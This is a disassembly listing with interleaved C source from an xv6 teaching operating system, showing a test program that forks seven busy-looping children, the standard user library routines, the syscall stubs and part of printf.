0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 51 push %ecx
e: 83 ec 14 sub $0x14,%esp
int pid, max = 7;
11: c7 45 ec 07 00 00 00 movl $0x7,-0x14(%ebp)
unsigned long x = 0;
18: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
for (int i=0; i<max; i++) {
1f: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
26: eb 59 jmp 81 <main+0x81>
sleep(5*TPS); // pause before each child starts
28: 83 ec 0c sub $0xc,%esp
2b: 68 f4 01 00 00 push $0x1f4
30: e8 cd 03 00 00 call 402 <sleep>
35: 83 c4 10 add $0x10,%esp
pid = fork();
38: e8 2d 03 00 00 call 36a <fork>
3d: 89 45 e8 mov %eax,-0x18(%ebp)
if (pid < 0) {
40: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
44: 79 17 jns 5d <main+0x5d>
printf(2, "fork failed!\n");
46: 83 ec 08 sub $0x8,%esp
49: 68 df 08 00 00 push $0x8df
4e: 6a 02 push $0x2
50: e8 d4 04 00 00 call 529 <printf>
55: 83 c4 10 add $0x10,%esp
exit();
58: e8 15 03 00 00 call 372 <exit>
}
if (pid == 0) { // child
5d: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
61: 75 1a jne 7d <main+0x7d>
sleep(getpid()*100); // stagger start
63: e8 8a 03 00 00 call 3f2 <getpid>
68: 6b c0 64 imul $0x64,%eax,%eax
6b: 83 ec 0c sub $0xc,%esp
6e: 50 push %eax
6f: e8 8e 03 00 00 call 402 <sleep>
74: 83 c4 10 add $0x10,%esp
do {
x += 1;
77: 83 45 f4 01 addl $0x1,-0xc(%ebp)
} while (1);
7b: eb fa jmp 77 <main+0x77>
main(void)
{
int pid, max = 7;
unsigned long x = 0;
for (int i=0; i<max; i++) {
7d: 83 45 f0 01 addl $0x1,-0x10(%ebp)
81: 8b 45 f0 mov -0x10(%ebp),%eax
84: 3b 45 ec cmp -0x14(%ebp),%eax
87: 7c 9f jl 28 <main+0x28>
printf(1, "Child %d exiting\n", getpid());
exit();
}
}
pid = fork();
89: e8 dc 02 00 00 call 36a <fork>
8e: 89 45 e8 mov %eax,-0x18(%ebp)
if (pid == 0) {
91: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
95: 75 13 jne aa <main+0xaa>
sleep(20);
97: 83 ec 0c sub $0xc,%esp
9a: 6a 14 push $0x14
9c: e8 61 03 00 00 call 402 <sleep>
a1: 83 c4 10 add $0x10,%esp
do {
x = x+1;
a4: 83 45 f4 01 addl $0x1,-0xc(%ebp)
} while (1);
a8: eb fa jmp a4 <main+0xa4>
}
sleep(15*TPS);
aa: 83 ec 0c sub $0xc,%esp
ad: 68 dc 05 00 00 push $0x5dc
b2: e8 4b 03 00 00 call 402 <sleep>
b7: 83 c4 10 add $0x10,%esp
wait();
ba: e8 bb 02 00 00 call 37a <wait>
printf(1, "Parent exiting\n");
bf: 83 ec 08 sub $0x8,%esp
c2: 68 ed 08 00 00 push $0x8ed
c7: 6a 01 push $0x1
c9: e8 5b 04 00 00 call 529 <printf>
ce: 83 c4 10 add $0x10,%esp
exit();
d1: e8 9c 02 00 00 call 372 <exit>
000000d6 <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
d6: 55 push %ebp
d7: 89 e5 mov %esp,%ebp
d9: 57 push %edi
da: 53 push %ebx
asm volatile("cld; rep stosb" :
db: 8b 4d 08 mov 0x8(%ebp),%ecx
de: 8b 55 10 mov 0x10(%ebp),%edx
e1: 8b 45 0c mov 0xc(%ebp),%eax
e4: 89 cb mov %ecx,%ebx
e6: 89 df mov %ebx,%edi
e8: 89 d1 mov %edx,%ecx
ea: fc cld
eb: f3 aa rep stos %al,%es:(%edi)
ed: 89 ca mov %ecx,%edx
ef: 89 fb mov %edi,%ebx
f1: 89 5d 08 mov %ebx,0x8(%ebp)
f4: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
f7: 90 nop
f8: 5b pop %ebx
f9: 5f pop %edi
fa: 5d pop %ebp
fb: c3 ret
000000fc <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
fc: 55 push %ebp
fd: 89 e5 mov %esp,%ebp
ff: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
102: 8b 45 08 mov 0x8(%ebp),%eax
105: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
108: 90 nop
109: 8b 45 08 mov 0x8(%ebp),%eax
10c: 8d 50 01 lea 0x1(%eax),%edx
10f: 89 55 08 mov %edx,0x8(%ebp)
112: 8b 55 0c mov 0xc(%ebp),%edx
115: 8d 4a 01 lea 0x1(%edx),%ecx
118: 89 4d 0c mov %ecx,0xc(%ebp)
11b: 0f b6 12 movzbl (%edx),%edx
11e: 88 10 mov %dl,(%eax)
120: 0f b6 00 movzbl (%eax),%eax
123: 84 c0 test %al,%al
125: 75 e2 jne 109 <strcpy+0xd>
;
return os;
127: 8b 45 fc mov -0x4(%ebp),%eax
}
12a: c9 leave
12b: c3 ret
0000012c <strcmp>:
int
strcmp(const char *p, const char *q)
{
12c: 55 push %ebp
12d: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
12f: eb 08 jmp 139 <strcmp+0xd>
p++, q++;
131: 83 45 08 01 addl $0x1,0x8(%ebp)
135: 83 45 0c 01 addl $0x1,0xc(%ebp)
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
139: 8b 45 08 mov 0x8(%ebp),%eax
13c: 0f b6 00 movzbl (%eax),%eax
13f: 84 c0 test %al,%al
141: 74 10 je 153 <strcmp+0x27>
143: 8b 45 08 mov 0x8(%ebp),%eax
146: 0f b6 10 movzbl (%eax),%edx
149: 8b 45 0c mov 0xc(%ebp),%eax
14c: 0f b6 00 movzbl (%eax),%eax
14f: 38 c2 cmp %al,%dl
151: 74 de je 131 <strcmp+0x5>
p++, q++;
return (uchar)*p - (uchar)*q;
153: 8b 45 08 mov 0x8(%ebp),%eax
156: 0f b6 00 movzbl (%eax),%eax
159: 0f b6 d0 movzbl %al,%edx
15c: 8b 45 0c mov 0xc(%ebp),%eax
15f: 0f b6 00 movzbl (%eax),%eax
162: 0f b6 c0 movzbl %al,%eax
165: 29 c2 sub %eax,%edx
167: 89 d0 mov %edx,%eax
}
169: 5d pop %ebp
16a: c3 ret
0000016b <strlen>:
uint
strlen(char *s)
{
16b: 55 push %ebp
16c: 89 e5 mov %esp,%ebp
16e: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
171: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
178: eb 04 jmp 17e <strlen+0x13>
17a: 83 45 fc 01 addl $0x1,-0x4(%ebp)
17e: 8b 55 fc mov -0x4(%ebp),%edx
181: 8b 45 08 mov 0x8(%ebp),%eax
184: 01 d0 add %edx,%eax
186: 0f b6 00 movzbl (%eax),%eax
189: 84 c0 test %al,%al
18b: 75 ed jne 17a <strlen+0xf>
;
return n;
18d: 8b 45 fc mov -0x4(%ebp),%eax
}
190: c9 leave
191: c3 ret
00000192 <memset>:
void*
memset(void *dst, int c, uint n)
{
192: 55 push %ebp
193: 89 e5 mov %esp,%ebp
stosb(dst, c, n);
195: 8b 45 10 mov 0x10(%ebp),%eax
198: 50 push %eax
199: ff 75 0c pushl 0xc(%ebp)
19c: ff 75 08 pushl 0x8(%ebp)
19f: e8 32 ff ff ff call d6 <stosb>
1a4: 83 c4 0c add $0xc,%esp
return dst;
1a7: 8b 45 08 mov 0x8(%ebp),%eax
}
1aa: c9 leave
1ab: c3 ret
000001ac <strchr>:
char*
strchr(const char *s, char c)
{
1ac: 55 push %ebp
1ad: 89 e5 mov %esp,%ebp
1af: 83 ec 04 sub $0x4,%esp
1b2: 8b 45 0c mov 0xc(%ebp),%eax
1b5: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
1b8: eb 14 jmp 1ce <strchr+0x22>
if(*s == c)
1ba: 8b 45 08 mov 0x8(%ebp),%eax
1bd: 0f b6 00 movzbl (%eax),%eax
1c0: 3a 45 fc cmp -0x4(%ebp),%al
1c3: 75 05 jne 1ca <strchr+0x1e>
return (char*)s;
1c5: 8b 45 08 mov 0x8(%ebp),%eax
1c8: eb 13 jmp 1dd <strchr+0x31>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
1ca: 83 45 08 01 addl $0x1,0x8(%ebp)
1ce: 8b 45 08 mov 0x8(%ebp),%eax
1d1: 0f b6 00 movzbl (%eax),%eax
1d4: 84 c0 test %al,%al
1d6: 75 e2 jne 1ba <strchr+0xe>
if(*s == c)
return (char*)s;
return 0;
1d8: b8 00 00 00 00 mov $0x0,%eax
}
1dd: c9 leave
1de: c3 ret
000001df <gets>:
char*
gets(char *buf, int max)
{
1df: 55 push %ebp
1e0: 89 e5 mov %esp,%ebp
1e2: 83 ec 18 sub $0x18,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
1e5: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
1ec: eb 42 jmp 230 <gets+0x51>
cc = read(0, &c, 1);
1ee: 83 ec 04 sub $0x4,%esp
1f1: 6a 01 push $0x1
1f3: 8d 45 ef lea -0x11(%ebp),%eax
1f6: 50 push %eax
1f7: 6a 00 push $0x0
1f9: e8 8c 01 00 00 call 38a <read>
1fe: 83 c4 10 add $0x10,%esp
201: 89 45 f0 mov %eax,-0x10(%ebp)
if(cc < 1)
204: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
208: 7e 33 jle 23d <gets+0x5e>
break;
buf[i++] = c;
20a: 8b 45 f4 mov -0xc(%ebp),%eax
20d: 8d 50 01 lea 0x1(%eax),%edx
210: 89 55 f4 mov %edx,-0xc(%ebp)
213: 89 c2 mov %eax,%edx
215: 8b 45 08 mov 0x8(%ebp),%eax
218: 01 c2 add %eax,%edx
21a: 0f b6 45 ef movzbl -0x11(%ebp),%eax
21e: 88 02 mov %al,(%edx)
if(c == '\n' || c == '\r')
220: 0f b6 45 ef movzbl -0x11(%ebp),%eax
224: 3c 0a cmp $0xa,%al
226: 74 16 je 23e <gets+0x5f>
228: 0f b6 45 ef movzbl -0x11(%ebp),%eax
22c: 3c 0d cmp $0xd,%al
22e: 74 0e je 23e <gets+0x5f>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
230: 8b 45 f4 mov -0xc(%ebp),%eax
233: 83 c0 01 add $0x1,%eax
236: 3b 45 0c cmp 0xc(%ebp),%eax
239: 7c b3 jl 1ee <gets+0xf>
23b: eb 01 jmp 23e <gets+0x5f>
cc = read(0, &c, 1);
if(cc < 1)
break;
23d: 90 nop
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
23e: 8b 55 f4 mov -0xc(%ebp),%edx
241: 8b 45 08 mov 0x8(%ebp),%eax
244: 01 d0 add %edx,%eax
246: c6 00 00 movb $0x0,(%eax)
return buf;
249: 8b 45 08 mov 0x8(%ebp),%eax
}
24c: c9 leave
24d: c3 ret
0000024e <stat>:
int
stat(char *n, struct stat *st)
{
24e: 55 push %ebp
24f: 89 e5 mov %esp,%ebp
251: 83 ec 18 sub $0x18,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
254: 83 ec 08 sub $0x8,%esp
257: 6a 00 push $0x0
259: ff 75 08 pushl 0x8(%ebp)
25c: e8 51 01 00 00 call 3b2 <open>
261: 83 c4 10 add $0x10,%esp
264: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0)
267: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
26b: 79 07 jns 274 <stat+0x26>
return -1;
26d: b8 ff ff ff ff mov $0xffffffff,%eax
272: eb 25 jmp 299 <stat+0x4b>
r = fstat(fd, st);
274: 83 ec 08 sub $0x8,%esp
277: ff 75 0c pushl 0xc(%ebp)
27a: ff 75 f4 pushl -0xc(%ebp)
27d: e8 48 01 00 00 call 3ca <fstat>
282: 83 c4 10 add $0x10,%esp
285: 89 45 f0 mov %eax,-0x10(%ebp)
close(fd);
288: 83 ec 0c sub $0xc,%esp
28b: ff 75 f4 pushl -0xc(%ebp)
28e: e8 07 01 00 00 call 39a <close>
293: 83 c4 10 add $0x10,%esp
return r;
296: 8b 45 f0 mov -0x10(%ebp),%eax
}
299: c9 leave
29a: c3 ret
0000029b <atoi>:
// new atoi added 4/22/17 to be able to handle negative numbers
int
atoi(const char *s)
{
29b: 55 push %ebp
29c: 89 e5 mov %esp,%ebp
29e: 83 ec 10 sub $0x10,%esp
int n, sign;
n=0;
2a1: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while(*s==' ')s++;//Remove leading spaces
2a8: eb 04 jmp 2ae <atoi+0x13>
2aa: 83 45 08 01 addl $0x1,0x8(%ebp)
2ae: 8b 45 08 mov 0x8(%ebp),%eax
2b1: 0f b6 00 movzbl (%eax),%eax
2b4: 3c 20 cmp $0x20,%al
2b6: 74 f2 je 2aa <atoi+0xf>
sign =(*s=='-')?-1 : 1;
2b8: 8b 45 08 mov 0x8(%ebp),%eax
2bb: 0f b6 00 movzbl (%eax),%eax
2be: 3c 2d cmp $0x2d,%al
2c0: 75 07 jne 2c9 <atoi+0x2e>
2c2: b8 ff ff ff ff mov $0xffffffff,%eax
2c7: eb 05 jmp 2ce <atoi+0x33>
2c9: b8 01 00 00 00 mov $0x1,%eax
2ce: 89 45 f8 mov %eax,-0x8(%ebp)
if(*s=='+' || *s=='-')
2d1: 8b 45 08 mov 0x8(%ebp),%eax
2d4: 0f b6 00 movzbl (%eax),%eax
2d7: 3c 2b cmp $0x2b,%al
2d9: 74 0a je 2e5 <atoi+0x4a>
2db: 8b 45 08 mov 0x8(%ebp),%eax
2de: 0f b6 00 movzbl (%eax),%eax
2e1: 3c 2d cmp $0x2d,%al
2e3: 75 2b jne 310 <atoi+0x75>
s++;
2e5: 83 45 08 01 addl $0x1,0x8(%ebp)
while('0' <= *s&&*s<='9')
2e9: eb 25 jmp 310 <atoi+0x75>
n = n*10 + *s++ - '0';
2eb: 8b 55 fc mov -0x4(%ebp),%edx
2ee: 89 d0 mov %edx,%eax
2f0: c1 e0 02 shl $0x2,%eax
2f3: 01 d0 add %edx,%eax
2f5: 01 c0 add %eax,%eax
2f7: 89 c1 mov %eax,%ecx
2f9: 8b 45 08 mov 0x8(%ebp),%eax
2fc: 8d 50 01 lea 0x1(%eax),%edx
2ff: 89 55 08 mov %edx,0x8(%ebp)
302: 0f b6 00 movzbl (%eax),%eax
305: 0f be c0 movsbl %al,%eax
308: 01 c8 add %ecx,%eax
30a: 83 e8 30 sub $0x30,%eax
30d: 89 45 fc mov %eax,-0x4(%ebp)
n=0;
while(*s==' ')s++;//Remove leading spaces
sign =(*s=='-')?-1 : 1;
if(*s=='+' || *s=='-')
s++;
while('0' <= *s&&*s<='9')
310: 8b 45 08 mov 0x8(%ebp),%eax
313: 0f b6 00 movzbl (%eax),%eax
316: 3c 2f cmp $0x2f,%al
318: 7e 0a jle 324 <atoi+0x89>
31a: 8b 45 08 mov 0x8(%ebp),%eax
31d: 0f b6 00 movzbl (%eax),%eax
320: 3c 39 cmp $0x39,%al
322: 7e c7 jle 2eb <atoi+0x50>
n = n*10 + *s++ - '0';
return sign*n;
324: 8b 45 f8 mov -0x8(%ebp),%eax
327: 0f af 45 fc imul -0x4(%ebp),%eax
}
32b: c9 leave
32c: c3 ret
0000032d <memmove>:
return n;
}
*/
void*
memmove(void *vdst, void *vsrc, int n)
{
32d: 55 push %ebp
32e: 89 e5 mov %esp,%ebp
330: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
333: 8b 45 08 mov 0x8(%ebp),%eax
336: 89 45 fc mov %eax,-0x4(%ebp)
src = vsrc;
339: 8b 45 0c mov 0xc(%ebp),%eax
33c: 89 45 f8 mov %eax,-0x8(%ebp)
while(n-- > 0)
33f: eb 17 jmp 358 <memmove+0x2b>
*dst++ = *src++;
341: 8b 45 fc mov -0x4(%ebp),%eax
344: 8d 50 01 lea 0x1(%eax),%edx
347: 89 55 fc mov %edx,-0x4(%ebp)
34a: 8b 55 f8 mov -0x8(%ebp),%edx
34d: 8d 4a 01 lea 0x1(%edx),%ecx
350: 89 4d f8 mov %ecx,-0x8(%ebp)
353: 0f b6 12 movzbl (%edx),%edx
356: 88 10 mov %dl,(%eax)
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
358: 8b 45 10 mov 0x10(%ebp),%eax
35b: 8d 50 ff lea -0x1(%eax),%edx
35e: 89 55 10 mov %edx,0x10(%ebp)
361: 85 c0 test %eax,%eax
363: 7f dc jg 341 <memmove+0x14>
*dst++ = *src++;
return vdst;
365: 8b 45 08 mov 0x8(%ebp),%eax
}
368: c9 leave
369: c3 ret
0000036a <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
36a: b8 01 00 00 00 mov $0x1,%eax
36f: cd 40 int $0x40
371: c3 ret
00000372 <exit>:
SYSCALL(exit)
372: b8 02 00 00 00 mov $0x2,%eax
377: cd 40 int $0x40
379: c3 ret
0000037a <wait>:
SYSCALL(wait)
37a: b8 03 00 00 00 mov $0x3,%eax
37f: cd 40 int $0x40
381: c3 ret
00000382 <pipe>:
SYSCALL(pipe)
382: b8 04 00 00 00 mov $0x4,%eax
387: cd 40 int $0x40
389: c3 ret
0000038a <read>:
SYSCALL(read)
38a: b8 05 00 00 00 mov $0x5,%eax
38f: cd 40 int $0x40
391: c3 ret
00000392 <write>:
SYSCALL(write)
392: b8 10 00 00 00 mov $0x10,%eax
397: cd 40 int $0x40
399: c3 ret
0000039a <close>:
SYSCALL(close)
39a: b8 15 00 00 00 mov $0x15,%eax
39f: cd 40 int $0x40
3a1: c3 ret
000003a2 <kill>:
SYSCALL(kill)
3a2: b8 06 00 00 00 mov $0x6,%eax
3a7: cd 40 int $0x40
3a9: c3 ret
000003aa <exec>:
SYSCALL(exec)
3aa: b8 07 00 00 00 mov $0x7,%eax
3af: cd 40 int $0x40
3b1: c3 ret
000003b2 <open>:
SYSCALL(open)
3b2: b8 0f 00 00 00 mov $0xf,%eax
3b7: cd 40 int $0x40
3b9: c3 ret
000003ba <mknod>:
SYSCALL(mknod)
3ba: b8 11 00 00 00 mov $0x11,%eax
3bf: cd 40 int $0x40
3c1: c3 ret
000003c2 <unlink>:
SYSCALL(unlink)
3c2: b8 12 00 00 00 mov $0x12,%eax
3c7: cd 40 int $0x40
3c9: c3 ret
000003ca <fstat>:
SYSCALL(fstat)
3ca: b8 08 00 00 00 mov $0x8,%eax
3cf: cd 40 int $0x40
3d1: c3 ret
000003d2 <link>:
SYSCALL(link)
3d2: b8 13 00 00 00 mov $0x13,%eax
3d7: cd 40 int $0x40
3d9: c3 ret
000003da <mkdir>:
SYSCALL(mkdir)
3da: b8 14 00 00 00 mov $0x14,%eax
3df: cd 40 int $0x40
3e1: c3 ret
000003e2 <chdir>:
SYSCALL(chdir)
3e2: b8 09 00 00 00 mov $0x9,%eax
3e7: cd 40 int $0x40
3e9: c3 ret
000003ea <dup>:
SYSCALL(dup)
3ea: b8 0a 00 00 00 mov $0xa,%eax
3ef: cd 40 int $0x40
3f1: c3 ret
000003f2 <getpid>:
SYSCALL(getpid)
3f2: b8 0b 00 00 00 mov $0xb,%eax
3f7: cd 40 int $0x40
3f9: c3 ret
000003fa <sbrk>:
SYSCALL(sbrk)
3fa: b8 0c 00 00 00 mov $0xc,%eax
3ff: cd 40 int $0x40
401: c3 ret
00000402 <sleep>:
SYSCALL(sleep)
402: b8 0d 00 00 00 mov $0xd,%eax
407: cd 40 int $0x40
409: c3 ret
0000040a <uptime>:
SYSCALL(uptime)
40a: b8 0e 00 00 00 mov $0xe,%eax
40f: cd 40 int $0x40
411: c3 ret
00000412 <halt>:
SYSCALL(halt)
412: b8 16 00 00 00 mov $0x16,%eax
417: cd 40 int $0x40
419: c3 ret
0000041a <date>:
//Project additions
SYSCALL(date)
41a: b8 17 00 00 00 mov $0x17,%eax
41f: cd 40 int $0x40
421: c3 ret
00000422 <getuid>:
SYSCALL(getuid)
422: b8 18 00 00 00 mov $0x18,%eax
427: cd 40 int $0x40
429: c3 ret
0000042a <getgid>:
SYSCALL(getgid)
42a: b8 19 00 00 00 mov $0x19,%eax
42f: cd 40 int $0x40
431: c3 ret
00000432 <getppid>:
SYSCALL(getppid)
432: b8 1a 00 00 00 mov $0x1a,%eax
437: cd 40 int $0x40
439: c3 ret
0000043a <setuid>:
SYSCALL(setuid)
43a: b8 1b 00 00 00 mov $0x1b,%eax
43f: cd 40 int $0x40
441: c3 ret
00000442 <setgid>:
SYSCALL(setgid)
442: b8 1c 00 00 00 mov $0x1c,%eax
447: cd 40 int $0x40
449: c3 ret
0000044a <getprocs>:
SYSCALL(getprocs)
44a: b8 1d 00 00 00 mov $0x1d,%eax
44f: cd 40 int $0x40
451: c3 ret
00000452 <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
452: 55 push %ebp
453: 89 e5 mov %esp,%ebp
455: 83 ec 18 sub $0x18,%esp
458: 8b 45 0c mov 0xc(%ebp),%eax
45b: 88 45 f4 mov %al,-0xc(%ebp)
write(fd, &c, 1);
45e: 83 ec 04 sub $0x4,%esp
461: 6a 01 push $0x1
463: 8d 45 f4 lea -0xc(%ebp),%eax
466: 50 push %eax
467: ff 75 08 pushl 0x8(%ebp)
46a: e8 23 ff ff ff call 392 <write>
46f: 83 c4 10 add $0x10,%esp
}
472: 90 nop
473: c9 leave
474: c3 ret
00000475 <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
475: 55 push %ebp
476: 89 e5 mov %esp,%ebp
478: 53 push %ebx
479: 83 ec 24 sub $0x24,%esp
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
47c: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
if(sgn && xx < 0){
483: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
487: 74 17 je 4a0 <printint+0x2b>
489: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
48d: 79 11 jns 4a0 <printint+0x2b>
neg = 1;
48f: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
x = -xx;
496: 8b 45 0c mov 0xc(%ebp),%eax
499: f7 d8 neg %eax
49b: 89 45 ec mov %eax,-0x14(%ebp)
49e: eb 06 jmp 4a6 <printint+0x31>
} else {
x = xx;
4a0: 8b 45 0c mov 0xc(%ebp),%eax
4a3: 89 45 ec mov %eax,-0x14(%ebp)
}
i = 0;
4a6: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
do{
buf[i++] = digits[x % base];
4ad: 8b 4d f4 mov -0xc(%ebp),%ecx
4b0: 8d 41 01 lea 0x1(%ecx),%eax
4b3: 89 45 f4 mov %eax,-0xc(%ebp)
4b6: 8b 5d 10 mov 0x10(%ebp),%ebx
4b9: 8b 45 ec mov -0x14(%ebp),%eax
4bc: ba 00 00 00 00 mov $0x0,%edx
4c1: f7 f3 div %ebx
4c3: 89 d0 mov %edx,%eax
4c5: 0f b6 80 4c 0b 00 00 movzbl 0xb4c(%eax),%eax
4cc: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1)
}while((x /= base) != 0);
4d0: 8b 5d 10 mov 0x10(%ebp),%ebx
4d3: 8b 45 ec mov -0x14(%ebp),%eax
4d6: ba 00 00 00 00 mov $0x0,%edx
4db: f7 f3 div %ebx
4dd: 89 45 ec mov %eax,-0x14(%ebp)
4e0: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
4e4: 75 c7 jne 4ad <printint+0x38>
if(neg)
4e6: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
4ea: 74 2d je 519 <printint+0xa4>
buf[i++] = '-';
4ec: 8b 45 f4 mov -0xc(%ebp),%eax
4ef: 8d 50 01 lea 0x1(%eax),%edx
4f2: 89 55 f4 mov %edx,-0xc(%ebp)
4f5: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1)
while(--i >= 0)
4fa: eb 1d jmp 519 <printint+0xa4>
putc(fd, buf[i]);
4fc: 8d 55 dc lea -0x24(%ebp),%edx
4ff: 8b 45 f4 mov -0xc(%ebp),%eax
502: 01 d0 add %edx,%eax
504: 0f b6 00 movzbl (%eax),%eax
507: 0f be c0 movsbl %al,%eax
50a: 83 ec 08 sub $0x8,%esp
50d: 50 push %eax
50e: ff 75 08 pushl 0x8(%ebp)
511: e8 3c ff ff ff call 452 <putc>
516: 83 c4 10 add $0x10,%esp
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
519: 83 6d f4 01 subl $0x1,-0xc(%ebp)
51d: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
521: 79 d9 jns 4fc <printint+0x87>
putc(fd, buf[i]);
}
523: 90 nop
524: 8b 5d fc mov -0x4(%ebp),%ebx
527: c9 leave
528: c3 ret
00000529 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
529: 55 push %ebp
52a: 89 e5 mov %esp,%ebp
52c: 83 ec 28 sub $0x28,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
52f: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
ap = (uint*)(void*)&fmt + 1;
536: 8d 45 0c lea 0xc(%ebp),%eax
539: 83 c0 04 add $0x4,%eax
53c: 89 45 e8 mov %eax,-0x18(%ebp)
for(i = 0; fmt[i]; i++){
53f: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
546: e9 59 01 00 00 jmp 6a4 <printf+0x17b>
c = fmt[i] & 0xff;
54b: 8b 55 0c mov 0xc(%ebp),%edx
54e: 8b 45 f0 mov -0x10(%ebp),%eax
551: 01 d0 add %edx,%eax
553: 0f b6 00 movzbl (%eax),%eax
556: 0f be c0 movsbl %al,%eax
559: 25 ff 00 00 00 and $0xff,%eax
55e: 89 45 e4 mov %eax,-0x1c(%ebp)
if(state == 0){
561: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
565: 75 2c jne 593 <printf+0x6a>
if(c == '%'){
567: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
56b: 75 0c jne 579 <printf+0x50>
state = '%';
56d: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp)
574: e9 27 01 00 00 jmp 6a0 <printf+0x177>
} else {
putc(fd, c);
579: 8b 45 e4 mov -0x1c(%ebp),%eax
57c: 0f be c0 movsbl %al,%eax
57f: 83 ec 08 sub $0x8,%esp
582: 50 push %eax
583: ff 75 08 pushl 0x8(%ebp)
586: e8 c7 fe ff ff call 452 <putc>
58b: 83 c4 10 add $0x10,%esp
58e: e9 0d 01 00 00 jmp 6a0 <printf+0x177>
}
} else if(state == '%'){
593: 83 7d ec 25 cmpl $0x25,-0x14(%ebp)
597: 0f 85 03 01 00 00 jne 6a0 <printf+0x177>
if(c == 'd'){
59d: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp)
5a1: 75 1e jne 5c1 <printf+0x98>
printint(fd, *ap, 10, 1);
5a3: 8b 45 e8 mov -0x18(%ebp),%eax
5a6: 8b 00 mov (%eax),%eax
5a8: 6a 01 push $0x1
5aa: 6a 0a push $0xa
5ac: 50 push %eax
5ad: ff 75 08 pushl 0x8(%ebp)
5b0: e8 c0 fe ff ff call 475 <printint>
5b5: 83 c4 10 add $0x10,%esp
ap++;
5b8: 83 45 e8 04 addl $0x4,-0x18(%ebp)
5bc: e9 d8 00 00 00 jmp 699 <printf+0x170>
} else if(c == 'x' || c == 'p'){
5c1: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp)
5c5: 74 06 je 5cd <printf+0xa4>
5c7: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp)
5cb: 75 1e jne 5eb <printf+0xc2>
printint(fd, *ap, 16, 0);
5cd: 8b 45 e8 mov -0x18(%ebp),%eax
5d0: 8b 00 mov (%eax),%eax
5d2: 6a 00 push $0x0
5d4: 6a 10 push $0x10
5d6: 50 push %eax
5d7: ff 75 08 pushl 0x8(%ebp)
5da: e8 96 fe ff ff call 475 <printint>
5df: 83 c4 10 add $0x10,%esp
ap++;
5e2: 83 45 e8 04 addl $0x4,-0x18(%ebp)
5e6: e9 ae 00 00 00 jmp 699 <printf+0x170>
} else if(c == 's'){
5eb: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp)
5ef: 75 43 jne 634 <printf+0x10b>
s = (char*)*ap;
5f1: 8b 45 e8 mov -0x18(%ebp),%eax
5f4: 8b 00 mov (%eax),%eax
5f6: 89 45 f4 mov %eax,-0xc(%ebp)
ap++;
5f9: 83 45 e8 04 addl $0x4,-0x18(%ebp)
if(s == 0)
5fd: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
601: 75 25 jne 628 <printf+0xff>
s = "(null)";
603: c7 45 f4 fd 08 00 00 movl $0x8fd,-0xc(%ebp)
while(*s != 0){
60a: eb 1c jmp 628 <printf+0xff>
putc(fd, *s);
60c: 8b 45 f4 mov -0xc(%ebp),%eax
60f: 0f b6 00 movzbl (%eax),%eax
612: 0f be c0 movsbl %al,%eax
615: 83 ec 08 sub $0x8,%esp
618: 50 push %eax
619: ff 75 08 pushl 0x8(%ebp)
61c: e8 31 fe ff ff call 452 <putc>
621: 83 c4 10 add $0x10,%esp
s++;
